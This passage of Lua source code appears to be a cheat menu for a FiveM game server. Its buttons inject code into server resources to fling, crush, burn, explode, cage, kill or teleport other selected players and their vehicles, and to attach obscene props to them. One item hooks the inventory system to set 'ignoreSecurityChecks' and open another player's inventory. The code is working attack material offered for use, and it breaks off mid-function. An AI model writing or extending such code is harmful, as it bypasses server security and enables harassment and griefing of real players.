                                        if not vehicle or vehicle <= 0 then
                                            return
                                        end

                                        if spawned then
                                            SafeRunNative(SetEntityInvincible, vehicle, true)
                                            SafeRunNative(SetEntityVisible, vehicle, false)
                                        end

                                        local underCoords = GetOffsetFromEntityInWorldCoords(targetPed, 0.0, 0.0, -1.5)

                                        SetCoords(vehicle, underCoords)
                                        SafeRunNative(FreezeEntityPosition, vehicle, false)
                                        SafeRunNative(SetEntityVelocity, vehicle, 0.0, 0.0, 0.0)
                                        SafeRunNative(ApplyForceToEntity, vehicle, 1, 0.0, 0.0, 250.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true)
                                        SafeRunNative(ApplyForceToEntityCenterOfMass, targetPed, 1, 0.0, 0.0, 150.0, false, true, true, false)

                                        if spawned then
                                            Wait(1200)

                                            SafeRunNative(DeleteEntity, vehicle)
                                        end
                                    end)
                                end
                            ]], selectedPlayer))
                        end
                    },
                    {
                        label = 'Fling Player',
                        type = 'button',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('monitor', string.format([[
                                local player = GetPlayerFromServerId(%d)
                                local targetPed = player > 0 and GetPlayerPed(player)

                                if targetPed and targetPed > 0 then
                                    SafeRunNative(CreateThread, function()
                                        local vehicle = GetNearestVehicle(true)
                                        local spawned = false

                                        if vehicle and vehicle > 0 then
                                            TakeControlOfVehicle(vehicle)
                                        else
                                            local vehicleHash = GetHashKey('adder')

                                            RequestModel(vehicleHash)

                                            local setTimer = GetGameTimer()

                                            while not HasModelLoaded(vehicleHash) do
                                                Wait(0)

                                                if (GetGameTimer() - setTimer) > 5000 then
                                                    return
                                                end
                                            end

                                            local selfCoords = GetEntityCoords(PlayerPedId())

                                            vehicle = SafeRunNative(CreateVehicle, vehicleHash, selfCoords.x, selfCoords.y, selfCoords.z, 0.0, true, false)

                                            SafeRunNative(SetModelAsNoLongerNeeded, vehicleHash)

                                            spawned = true
                                        end

                                        if not vehicle or vehicle <= 0 then
                                            return
                                        end

                                        SafeRunNative(SetEntityInvincible, vehicle, true)
                                        SafeRunNative(SetEntityVisible, vehicle, false)

                                        local underCoords = GetOffsetFromEntityInWorldCoords(targetPed, 0.0, 0.0, -1.5)

                                        SetCoords(vehicle, underCoords)

                                        SafeRunNative(FreezeEntityPosition, vehicle, false)
                                        SafeRunNative(SetEntityVelocity, vehicle, 0.0, 0.0, 0.0)
                                        SafeRunNative(ApplyForceToEntity, vehicle, 1, 0.0, 0.0, 400.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true)

                                        Wait(1200)

                                        if spawned then
                                            SafeRunNative(DeleteEntity, vehicle)
                                        end
                                    end)
                                end
                            ]], selectedPlayer))
                        end
                    },
                    {
                        label = 'Crush Player',
                        type = 'button',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('monitor', string.format([[
                                local player = GetPlayerFromServerId(%d)
                                local targetPed = player > 0 and GetPlayerPed(player)

                                if targetPed and targetPed > 0 then
                                    SafeRunNative(CreateThread, function()
                                        local vehicle = GetNearestVehicle(true)

                                        if vehicle and vehicle > 0 then
                                            TakeControlOfVehicle(vehicle)
                                        else
                                            local vehicleHash = GetHashKey('dump')

                                            RequestModel(vehicleHash)

                                            local setTimer = GetGameTimer()

                                            while not HasModelLoaded(vehicleHash) do
                                                Wait(0)

                                                if (GetGameTimer() - setTimer) > 5000 then
                                                    return
                                                end
                                            end

                                            local selfCoords = GetEntityCoords(PlayerPedId())

                                            vehicle = SafeRunNative(CreateVehicle, vehicleHash, selfCoords.x, selfCoords.y, selfCoords.z, 0.0, true, false)

                                            SafeRunNative(SetModelAsNoLongerNeeded, vehicleHash)
                                        end

                                        if not vehicle or vehicle <= 0 then
                                            return
                                        end

                                        SafeRunNative(SetEntityInvincible, vehicle, true)
                                        SafeRunNative(SetEntityProofs, vehicle, true, true, true, true, true, true, true)
                                        SafeRunNative(FreezeEntityPosition, vehicle, true)

                                        local aboveCoords = GetOffsetFromEntityInWorldCoords(targetPed, 0.0, 0.0, 8.0)

                                        SetCoords(vehicle, aboveCoords)

                                        Wait(50)

                                        SafeRunNative(FreezeEntityPosition, vehicle, false)
                                        SafeRunNative(SetEntityVelocity, vehicle, 0.0, 0.0, -60.0)
                                    end)
                                end
                            ]], selectedPlayer))
                        end
                    },
                    {
                        label = 'Open Player Inventory',
                        type = 'button',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('ox_inventory',  string.format([[
                                local libCbAwait = _G.lib.callback.await

                                _G.lib.callback.await = function(event, ...)
                                    if event == 'ox_inventory:openInventory' then
                                        local left, right, accessError = libCbAwait(event, ...)

                                        if right then
                                            right.ignoreSecurityChecks = true
                                        end
                                        
                                        return left, right, accessError
                                    else
                                        return libCbAwait(event, ...)
                                    end
                                end
                            
                                client.openInventory('OpenPlayerInventory', %d)

                                _G.lib.callback.await = libCbAwait
                            ]], selectedPlayer))
                        end
                    },
                    {
                        label = 'Teleport Player To Ocean',
                        type = 'button',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('monitor', string.format([[
                                DeleteTrackedThread('OceanPlayerTeleport')

                                local player = GetPlayerFromServerId(%d)
                                local targetPed = player > 0 and GetPlayerPed(player)

                                if targetPed and targetPed > 0 then
                                    local entity = GetEntityParent()
                                    local originalCoords = GetEntityCoords(entity)
                                    local oceanCoords = vec3(-3072.161621, -2518.033691, 85.118919)

                                    SetCoords(entity, GetEntityCoords(targetPed))
                                    SafeRunNative(ExecuteCommand, 'piggyback')
                                    Wait(500)

                                    CreateTrackedThread('OceanPlayerTeleport', {
                                        thread = function(self)
                                            local stepSize = 13.0
                                            local stepWait = 0

                                            while self.isActive do
                                                local pos = GetEntityCoords(entity)
                                                local delta = oceanCoords - pos
                                                local dist = #delta

                                                if dist <= stepSize then
                                                    SetCoords(entity, oceanCoords)
                                                    break
                                                end

                                                SetCoords(entity, pos + (delta / dist) * stepSize)
                                                Wait(stepWait)
                                            end

                                            if not self.isActive then
                                                return
                                            end

                                            SafeRunNative(ExecuteCommand, 'piggyback')
                                            Wait(500)

                                            if self.isActive then
                                                SetCoords(entity, originalCoords)
                                            end

                                            DeleteTrackedThread('OceanPlayerTeleport')
                                        end,
                                    })
                                end
                            ]], selectedPlayer))
                        end
                    },
                    {
                        type = 'checkbox',
                        label = 'Freeze Player',
                        checked = false,
                        onConfirm = function(checked)
                            if checked then
                                local selectedPlayer = GetSelectedPlayer()
                                if not selectedPlayer then
                                    showNotify('You must select a player first!', 'error')
                                    return
                                end

                                injectCode('monitor', string.format([[
                                    if _G.SetClient_RunningFreezePlayer then return end
                                    _G.SetClient_RunningFreezePlayer = true

                                    SafeRunNative(SetEntityVisible, PlayerPedId(), false, false)

                                    local selfPed = PlayerPedId()
                                    local setCoords = GetEntityCoords(selfPed)
                                    local setHeading = GetEntityHeading(selfPed)
                                    local setVehicle = GetVehiclePedIsIn(selfPed, -1)
                                    local setSeat
                                    setVehicle = setVehicle and setVehicle > 0 and setVehicle
                                    if setVehicle then
                                        for i = -1, GetVehicleModelNumberOfSeats(GetEntityModel(setVehicle)) - 1 do
                                            if GetPedInVehicleSeat(setVehicle, i) == selfPed then
                                                setSeat = i
                                                break
                                            end
                                        end
                                    end

                                    SafeRunNative(CreateThread, function()
                                        local player = GetPlayerFromServerId(%d)
                                        local targetPed = player > 0 and GetPlayerPed(player)
                                        if targetPed and targetPed > 0 then
                                            selfPed = PlayerPedId()
                                            if targetPed ~= selfPed then
                                                local targetEntity = GetVehiclePedIsIn(targetPed, false)
                                                if not targetEntity or targetEntity <= 0 then
                                                    targetEntity = targetPed
                                                end
                                                while _G.SetClient_RunningFreezePlayer do
                                                    SafeRunNative(AttachEntityToEntityPhysically, selfPed, targetEntity, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 999999999, true, true, true, true, 1)
                                                    Wait(0)
                                                end
                                            end
                                        end
                                        selfPed = PlayerPedId()
                                        SafeRunNative(ClearPedTasksImmediately, selfPed)
                                        Wait(50)
                                        SafeRunNative(DetachEntity, selfPed, true, true)
                                        SafeRunNative(FreezeEntityPosition, selfPed, false)
                                        if setVehicle and setSeat and DoesEntityExist(setVehicle) then
                                            SafeRunNative(TaskWarpPedIntoVehicle, selfPed, setVehicle, setSeat)
                                        else
                                            SafeRunNative(SetEntityCoordsNoOffset, selfPed, setCoords.x, setCoords.y, setCoords.z, false, false, true)
                                            SafeRunNative(SetEntityHeading, selfPed, setHeading)
                                        end
                                        Wait(100)
                                    end)
                                ]], selectedPlayer))
                            else
                                injectCode('monitor', [[
                                    _G.SetClient_RunningFreezePlayer = false
                                    SafeRunNative(SetEntityVisible, PlayerPedId(), true, false)
                                ]])
                            end
                        end
                    },
                    {
                        type = 'button',
                        label = 'Explode Player',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('any', string.format([[
                                local targetID = %d
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(targetID))
                                if DoesEntityExist(targetPed) then
                                    local coords = GetEntityCoords(targetPed) + vec3(0.0, 0.0, 0.2)

                                    ShootBullet('self', GetHashKey('WEAPON_RPG'), coords, coords + vec3(0.0, 0.0, 3.0))
                                end
                            ]], selectedPlayer))
                        end
                    },
                    {
                        type = 'button',
                        label = 'Explode Vehicle',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('any', string.format([[
                                local targetID = %d
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(targetID))
                                if DoesEntityExist(targetPed) then
                                    local targetVehicle = GetVehiclePedIsIn(targetPed, false)

                                    if not targetVehicle or targetVehicle <= 0 then
                                        ShowNotification('Target is not in a vehicle')
                                        return
                                    end

                                    local coords = GetEntityCoords(targetVehicle)

                                    ShootBullet('self', GetHashKey('WEAPON_RPG'), coords, coords + vec3(0.0, 0.0, 3.0))
                                end
                            ]], selectedPlayer))
                        end
                    },
                    {
                        type = 'button',
                        label = 'Send Vehicle to Ocean',
                        desc = 'Teleports the selected player\'s vehicle into the ocean.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                CreateThread(function()
                                    local targetID  = %d
                                    local clientID  = GetPlayerFromServerId(targetID)
                                    if clientID == -1 then return end
                                    local targetPed = GetPlayerPed(clientID)
                                    if not DoesEntityExist(targetPed) then return end
                                    if not IsPedInAnyVehicle(targetPed, false) then return end
                                    local vehicle = GetVehiclePedIsIn(targetPed, false)
                                    if vehicle == 0 then return end
                                    local myPed   = PlayerPedId()
                                    local origPos = GetEntityCoords(myPed)

                                    NetworkRequestControlOfEntity(vehicle)
                                    NetworkRequestControlOfEntity(vehicle)
                                    local deadline = GetGameTimer() + 3000
                                    while not NetworkHasControlOfEntity(vehicle) and GetGameTimer() < deadline do
                                        Wait(10)
                                        NetworkRequestControlOfEntity(vehicle)
                                    end
                                    if not NetworkHasControlOfEntity(vehicle) then return end

                                    SetEntityVisible(myPed, false, false)
                                    SetPedIntoVehicle(myPed, vehicle, -1)
                                    Wait(100)
                                    SetEntityCoords(vehicle, 2899.825, -5220.937, 121.9951, true, true, true, true)
                                    Wait(200)
                                    SetEntityCoordsNoOffset(myPed, origPos.x, origPos.y, origPos.z, true, true, true)
                                    SetEntityVisible(myPed, true, true)
                                end)
                            ]], selectedPlayer))
                            showNotify('Sinking ' .. tostring(selectedPlayer) .. '\'s vehicle', 'warning')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Burn Player',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('any', string.format([[
                                SafeRunNative(CreateThread, function()
                                    for i = 1, 15 do
                                        local targetPed = SafeRunNative(GetPlayerPed, SafeRunNative(GetPlayerFromServerId, %d))
                                        if not SafeRunNative(DoesEntityExist, targetPed) then break end
                                        local coords = SafeRunNative(GetEntityCoords, targetPed)
                                        SafeRunNative(StartScriptFire, coords.x, coords.y, coords.z, 25, false)
                                        Wait(250)
                                    end
                                end)
                            ]], selectedPlayer))
                        end
                    },
                    {
                        label = 'Cage Player',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('any', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local player = GetPlayerFromServerId(%d)
                                    local targetPed = player > 0 and GetPlayerPed(player)
                                    if not targetPed or not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local targetCoords = SafeRunNative(GetEntityCoords, targetPed)
                                    local propHash = SafeRunNative(GetHashKey, 'prop_container_05a')
                                    SafeRunNative(RequestModel, propHash)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, propHash) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    local cage = SafeRunNative(CreateObject, propHash, targetCoords.x, targetCoords.y, targetCoords.z, true, true, true)
                                    SafeRunNative(SetModelAsNoLongerNeeded, propHash)
                                    if cage and cage > 0 then
                                        SafeRunNative(SetEntityAsMissionEntity, cage, true, true)
                                        SafeRunNative(SetEntityHeading, cage, 0.0)
                                        SafeRunNative(FreezeEntityPosition, cage, true)
                                        SafeRunNative(SetEntityInvincible, cage, true)
                                        SafeRunNative(SetEntityCoordsNoOffset, targetPed, targetCoords.x, targetCoords.y, targetCoords.z + 0.5, true, true, true)
                                        SafeRunNative(SetEntityCollision, targetPed, false, false)
                                        Wait(100)
                                        SafeRunNative(SetEntityCollision, targetPed, true, true)
                                    end
                                end)
                            ]], selectedPlayer))
                            showNotify('Caged player', 'success')
                        end
                    },
                    {
                        type = 'scroll',
                        label = 'Dildo Player',
                        selected = 1,
                        options = {
                            { label = 'Normal',        value = 'v_res_d_dildo_c',       yOff = -0.22, zOff = -0.32 },
                            { label = 'Rainbow Dildo', value = 'v_res_d_dildo_a',       yOff = -0.22, zOff = -0.32 },
                            { label = 'BBC',           value = 'v_res_d_dildo_f',       yOff = -0.30, zOff = -0.34 },
                            { label = 'Blue Dildo',    value = 'v_res_d_dildo_b',       yOff = -0.22, zOff = -0.32 },
                            { label = 'Broom',         value = 'prop_broom_unit_01',    yOff = -0.25, zOff = -0.30 },
                            { label = 'Plunger',       value = 'prop_cs_plunger',       yOff = -0.22, zOff = -0.30 },
                            { label = 'Rocket',        value = 'prop_mp_rocket_01',     yOff = -0.30, zOff = -0.34 },
                            { label = 'Stop Sign',     value = 'prop_stop_sign_01',     yOff = -0.25, zOff = -0.32 },
                            { label = 'Cactus',        value = 'prop_cactus_01',        yOff = -0.25, zOff = -0.32 },
                            { label = 'Pine Tree',     value = 'prop_tree_pine_01',     yOff = -0.30, zOff = -0.34 },
                            { label = 'Palm Tree',     value = 'prop_palm_fan_03_a',    yOff = -0.30, zOff = -0.34 },
                            { label = 'Shark',         value = 'hei_prop_hei_shark_s',  yOff = -0.30, zOff = -0.34 },
                            { label = 'Whale',         value = 'prop_cs_whale',         yOff = -0.30, zOff = -0.34 },
                            { label = 'Surfboard',     value = 'prop_surf_board_01',    yOff = -0.28, zOff = -0.32 },
                            { label = 'Banana',        value = 'prop_banana_s',         yOff = -0.22, zOff = -0.30 },
                            { label = 'Rubber Duck',   value = 'prop_rubber_duck_01',   yOff = -0.22, zOff = -0.30 },
                            { label = 'Traffic Cone',  value = 'prop_mp_cone_01',       yOff = -0.22, zOff = -0.30 },
                            { label = 'Golf Flag',     value = 'prop_golf_flag_01',     yOff = -0.25, zOff = -0.32 },
                            { label = 'Fishing Rod',   value = 'prop_fishing_rod_01',   yOff = -0.25, zOff = -0.32 },
                            { label = 'Street Light',  value = 'prop_streetlight_01',   yOff = -0.30, zOff = -0.34 },
                            { label = 'Foam Finger',   value = 'prop_mp_num_1',         yOff = -0.22, zOff = -0.30 },
                            { label = 'Beach Ball',    value = 'prop_beachball_02',     yOff = -0.22, zOff = -0.30 },
                            { label = 'Dildo Prop',    value = 'prop_cs_dildo_01',      yOff = -0.22, zOff = -0.32 },
                            { label = 'Barrel',        value = 'prop_barrel_02a',       yOff = -0.28, zOff = -0.32 },
                            { label = 'Oak Tree',      value = 'prop_tree_oak_01',      yOff = -0.30, zOff = -0.34 },
                            { label = 'Buoy',          value = 'prop_dock_bouy_1',      yOff = -0.25, zOff = -0.32 },
                            { label = 'Ferris Wheel',  value = 'prop_ld_ferris_wheel',  yOff = -0.30, zOff = -0.34 },
                            { label = 'Jerry Can',     value = 'prop_ld_jerrycan_01',   yOff = -0.22, zOff = -0.30 },
                            { label = 'Fire Ext',      value = 'prop_rub_firebox_01',   yOff = -0.22, zOff = -0.30 },
                            { label = 'Yield Sign',    value = 'prop_yield_sign',       yOff = -0.25, zOff = -0.32 },
                            { label = 'Noodle Dude',   value = 'prop_ff_noodle_01',     yOff = -0.30, zOff = -0.34 },
                            { label = 'Bikini Rack',   value = 'prop_bikini_disp_01',   yOff = -0.22, zOff = -0.30 },
                            { label = 'Xmas Tree',     value = 'prop_xmas_tree_int_01', yOff = -0.30, zOff = -0.34 },
                            { label = 'Hotdog',        value = 'prop_cs_hotdog_01',     yOff = -0.22, zOff = -0.30 },
                            { label = 'Cash Pile',     value = 'prop_cash_pile_01',     yOff = -0.25, zOff = -0.32 },
                            { label = 'Weed Pallet',   value = 'bkr_prop_weed_pallet',  yOff = -0.28, zOff = -0.32 },
                            { label = 'Golf Bag',      value = 'prop_golf_bag_01',      yOff = -0.25, zOff = -0.32 },
                            { label = 'Feather Boa',   value = 'prop_feather_boa_01',   yOff = -0.22, zOff = -0.30 },
                        },
                        onConfirm = function(data)
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            local objectModel = data.value
                            local yOff = data.yOff or -0.22
                            local zOff = data.zOff or -0.32
                            injectCode('any', string.format([[
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                if not targetPed or targetPed <= 0 then return end
                                local modelHash = GetHashKey('%s')
                                RequestModel(modelHash)
                                while not HasModelLoaded(modelHash) do Wait(0) end
                                local coords = GetEntityCoords(targetPed)
                                local obj = SafeRunNative(CreateObject, modelHash, coords.x, coords.y, coords.z, true, true, false)
                                SafeRunNative(AttachEntityToEntity, obj, targetPed, 0, 0.0, %f, %f, -35.0, 0.0, 0.0, false, false, true, false, 0, true)
                            ]], selectedPlayer, objectModel, yOff, zOff))
                        end
                    },
                    {
                        type = 'scroll',
                        label = 'Mouth Attach',
                        desc = 'Attaches a prop to the target player\'s mouth.',
                        selected = 1,
                        options = {
                            { label = 'Dildo',       value = 'v_res_d_dildo_c',     yOff = 0.18, zOff = -0.07 },
                            { label = 'Banana',      value = 'prop_banana_s',        yOff = 0.16, zOff = -0.07 },
                            { label = 'Broom',       value = 'prop_broom_unit_01',   yOff = 0.22, zOff = -0.07 },
                            { label = 'Plunger',     value = 'prop_cs_plunger',      yOff = 0.18, zOff = -0.07 },
                            { label = 'Rocket',      value = 'prop_mp_rocket_01',    yOff = 0.20, zOff = -0.07 },
                            { label = 'Golf Flag',   value = 'prop_golf_flag_01',    yOff = 0.20, zOff = -0.07 },
                            { label = 'Fishing Rod', value = 'prop_fishing_rod_01',  yOff = 0.24, zOff = -0.07 },
                            { label = 'Foam Finger', value = 'prop_mp_num_1',        yOff = 0.15, zOff = -0.05 },
                            { label = 'Hot Dog',     value = 'prop_cs_hotdog_01',    yOff = 0.14, zOff = -0.07 },
                            { label = 'Dildo Prop',  value = 'prop_cs_dildo_01',     yOff = 0.18, zOff = -0.07 },
                        },
                        onConfirm = function(data)
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            local objectModel = data.value
                            local yOff = data.yOff or 0.18
                            local zOff = data.zOff or -0.07
                            injectCode('any', string.format([[
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                if not targetPed or targetPed <= 0 then return end
                                local modelHash = GetHashKey('%s')
                                RequestModel(modelHash)
                                local t0 = GetGameTimer()
                                while not HasModelLoaded(modelHash) do
                                    if GetGameTimer() - t0 > 5000 then return end
                                    Wait(0)
                                end
                                local coords = GetEntityCoords(targetPed)
                                local obj = SafeRunNative(CreateObject, modelHash, coords.x, coords.y, coords.z, true, true, false)
                                -- bone 31086 = SKEL_Head; 90 X rotation makes vertical props point forward from mouth
                                SafeRunNative(AttachEntityToEntity, obj, targetPed, 31086, 0.0, %f, %f, 90.0, 0.0, 0.0, false, false, true, false, 0, true)
                            ]], selectedPlayer, objectModel, yOff, zOff))
                        end
                    },
                    {
                        type = 'scroll',
                        label = 'Attach Prop',
                        selected = 1,
                        options = {
                            { label = 'roadcone02a', value = 'prop_roadcone02a' }, { label = 'barrier_work05', value = 'prop_barrier_work05' }, { label = 'bin_05a', value = 'prop_bin_05a' }, { label = 'gnome2', value = 'prop_gnome2' },
                            { label = 'flamingo',    value = 'prop_flamingo' }, { label = 'alien_egg_01', value = 'prop_alien_egg_01' }, { label = 'cactus_01', value = 'prop_cactus_01' }, { label = 'gascyl_01a', value = 'prop_gascyl_01a' },
                            { label = 'weed_01',    value = 'prop_weed_01' }, { label = 'toilet_01', value = 'prop_toilet_01' }, { label = 'dummy_01', value = 'prop_dummy_01' }, { label = 'skid_tent_01', value = 'prop_skid_tent_01' },
                            { label = 'beach_fire', value = 'prop_beach_fire' }, { label = 'ecola_can', value = 'prop_ecola_can' }, { label = 'pizza_box_02', value = 'prop_pizza_box_02' },
                            { label = 'dildo',      value = 'prop_cs_dildo_01' }, { label = 'broom',      value = 'prop_broom_unit_01' }, { label = 'plunger',    value = 'prop_cs_plunger' }, { label = 'rocket',     value = 'prop_mp_rocket_01' },
                            { label = 'shark',      value = 'hei_prop_hei_shark_s' }, { label = 'whale',      value = 'prop_cs_whale' }, { label = 'barrel',     value = 'prop_barrel_02a' }, { label = 'surfboard',  value = 'prop_surf_board_01' },
                            { label = 'pine_tree',  value = 'prop_tree_pine_01' }, { label = 'palm_tree',  value = 'prop_palm_fan_03_a' }, { label = 'oak_tree',   value = 'prop_tree_oak_01' }, { label = 'buoy',       value = 'prop_dock_bouy_1' },
                            { label = 'ferris_wheel', value = 'prop_ld_ferris_wheel' }, { label = 'street_light', value = 'prop_streetlight_01' }, { label = 'jerrycan',   value = 'prop_ld_jerrycan_01' }, { label = 'fire_ext',   value = 'prop_rub_firebox_01' },
                            { label = 'stop_sign',  value = 'prop_stop_sign_01' }, { label = 'yield_sign', value = 'prop_yield_sign' }, { label = 'rubber_duck', value = 'prop_rubber_duck_01' }, { label = 'beach_ball', value = 'prop_beachball_02' },
                            { label = 'noodle_dude', value = 'prop_ff_noodle_01' }, { label = 'bikini_rack', value = 'prop_bikini_disp_01' }, { label = 'xmas_tree',  value = 'prop_xmas_tree_int_01' }, { label = 'hotdog',     value = 'prop_cs_hotdog_01' },
                            { label = 'cash_pile',  value = 'prop_cash_pile_01' }, { label = 'weed_pallet', value = 'bkr_prop_weed_pallet' }, { label = 'golf_bag',   value = 'prop_golf_bag_01' }, { label = 'traffic_cone', value = 'prop_mp_cone_01' },
                            { label = 'feather_boa', value = 'prop_feather_boa_01' }, { label = 'banana',     value = 'prop_banana_s' }, { label = 'fishing_rod', value = 'prop_fishing_rod_01' }, { label = 'foam_finger', value = 'prop_mp_num_1' }
                        },
                        onConfirm = function(data)
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            local objectModel = data.value
                            injectCode('any', string.format([[
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                local modelHash = GetHashKey('%s')
                                RequestModel(modelHash)
                                while not HasModelLoaded(modelHash) do Wait(0) end
                                local coords = GetEntityCoords(targetPed)
                                local obj = SafeRunNative(CreateObject, modelHash, coords.x, coords.y, coords.z, true, true, false)
                                SafeRunNative(AttachEntityToEntity, obj, targetPed, 0, 0.0, 0.5, 0.0, 0.0, 0.0, 0.0, false, false, true, false, 0, true)
                            ]], selectedPlayer, objectModel))
                        end
                    },
                    {
                        type = 'button',
                        label = 'Kill Player',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('any', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local weaponName = 'vehicle_weapon_subcar_mg'
                                    local ammoAmount = 999
                                    local targetSid = %d
                                    local weapon = GetHashKey(weaponName)

                                    RequestWeaponAsset(weapon, 31, 26)
                                    while not HasWeaponAssetLoaded(weapon) do
                                        Wait(0)
                                    end

                                    local selfPed = PlayerPedId()
                                    SafeRunNative(GiveDelayedWeaponToPed, selfPed, weapon, ammoAmount, true)
                                    SafeRunNative(SetPedAmmo, selfPed, weapon, ammoAmount)

                                    local targetPed = GetPlayerPed(GetPlayerFromServerId(targetSid))

                                    if DoesEntityExist(targetPed) and not IsPedDeadOrDying(targetPed, true) then
                                        local targetCoords = GetEntityCoords(targetPed)
                                        local fromCoords = targetCoords + vec3(0.0, 0.0, 0.1)

                                        SafeRunNative(ShootSingleBulletBetweenCoords, fromCoords.x, fromCoords.y, fromCoords.z, targetCoords.x, targetCoords.y, targetCoords.z, 999999, true, weapon, selfPed, true, false, 999999.0)

                                        SafeRunNative(SetPedUsingActionMode, selfPed, true, -1, 1)
                                        SafeRunNative(SetPedCurrentWeaponVisible, selfPed, false, false, true, true)
                                    end

                                    SafeRunNative(SetPedUsingActionMode, selfPed, false, -1, 'DEFAULT_ACTION')
                                    SafeRunNative(RemoveWeaponFromPed, selfPed, weapon)
                                    SafeRunNative(SetCurrentPedWeapon, selfPed, 'weapon_unarmed', true)
                                end)
                            ]], selectedPlayer))
                        end
                    },
                    {
                        type = 'checkbox',
                        label = 'Burn Player',
                        desc = 'Continuously burns the selected player',
                        onConfirm = function(checked)
                            if checked then
                                local selectedPlayer = GetSelectedPlayer()
                                if not selectedPlayer then
                                    showNotify('You must select a player first!', 'error')
                                    return
                                end
                                injectCode('any', string.format([[
                                    _G.BurnPlayerActive = true
                                    _G.BurnPlayerTarget = %d
                                    _G.BurnPlayerLastShot = 0

                                    if not _G.BurnPlayerThread then
                                        _G.BurnPlayerThread = true
                                        SafeRunNative(CreateThread, function()
                                            local fireWeap = SafeRunNative(GetHashKey, 'WEAPON_INCENDIARY_SHOTGUN')
                                            local selfPed  = SafeRunNative(PlayerPedId)

                                            SafeRunNative(Citizen.InvokeNative, 0xBF0FD6E56C964FCB, selfPed, fireWeap, 999, false, true)
                                            SafeRunNative(SetPedAmmo, selfPed, fireWeap, 999)

                                            while _G.BurnPlayerActive do
                                                Wait(0)
                                                if SafeRunNative(GetGameTimer) - (_G.BurnPlayerLastShot or 0) < 1200 then goto cont end

                                                local targetPed = SafeRunNative(GetPlayerPed, SafeRunNative(GetPlayerFromServerId, _G.BurnPlayerTarget))
                                                if not targetPed or targetPed == 0 or not SafeRunNative(DoesEntityExist, targetPed) then goto cont end

                                                _G.BurnPlayerLastShot = SafeRunNative(GetGameTimer)
                                                local c = SafeRunNative(GetEntityCoords, targetPed)
                                                SafeRunNative(ShootSingleBulletBetweenCoords,
                                                    c.x, c.y, c.z + 0.1,
                                                    c.x, c.y, c.z,
                                                    200, true, fireWeap, selfPed, true, false, -1.0
                                                )
                                                SafeRunNative(SetPedCurrentWeaponVisible, selfPed, false, false, true, true)

                                                ::cont::
                                            end

                                            SafeRunNative(RemoveWeaponFromPed, SafeRunNative(PlayerPedId), fireWeap)
                                            _G.BurnPlayerThread = nil
                                        end)
                                    end
                                ]], selectedPlayer))
                            else
                                injectCode('any', [[
                                    _G.BurnPlayerActive = false
                                ]])
                            end
                            showNotify('Burn Player ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    -- ── STEALTH KILL ──────────────────────────────────────────────────────────
                    {
                        type = 'button',
                        label = 'Stealth Kill',
                        desc = 'Freezes target invisible in front of you for 5s — looks like a silent throat slit.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                CreateThread(function()
                                    local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                    if not targetPed or not DoesEntityExist(targetPed) then return end
                                    local originalCoords = GetEntityCoords(targetPed)
                                    local playerPed = PlayerPedId()
                                    ForcePedMotionState(playerPed, 1110766645, 0, 0, 0)
                                    TaskLookAtEntity(playerPed, targetPed, -1, 0, 2.0)
                                    SetPedStealthMovement(playerPed, true, 0)
                                    local stopAt = GetGameTimer() + 5000
                                    while GetGameTimer() <= stopAt do
                                        local playerCoords = GetEntityCoords(playerPed)
                                        local fwd = GetEntityForwardVector(playerPed)
                                        SetEntityHeading(targetPed, GetEntityHeading(playerPed))
                                        SetEntityAlpha(targetPed, 0, false)
                                        FreezeEntityPosition(targetPed, true)
                                        SetEntityCoords(targetPed,
                                            playerCoords.x + (fwd.x * 0.4),
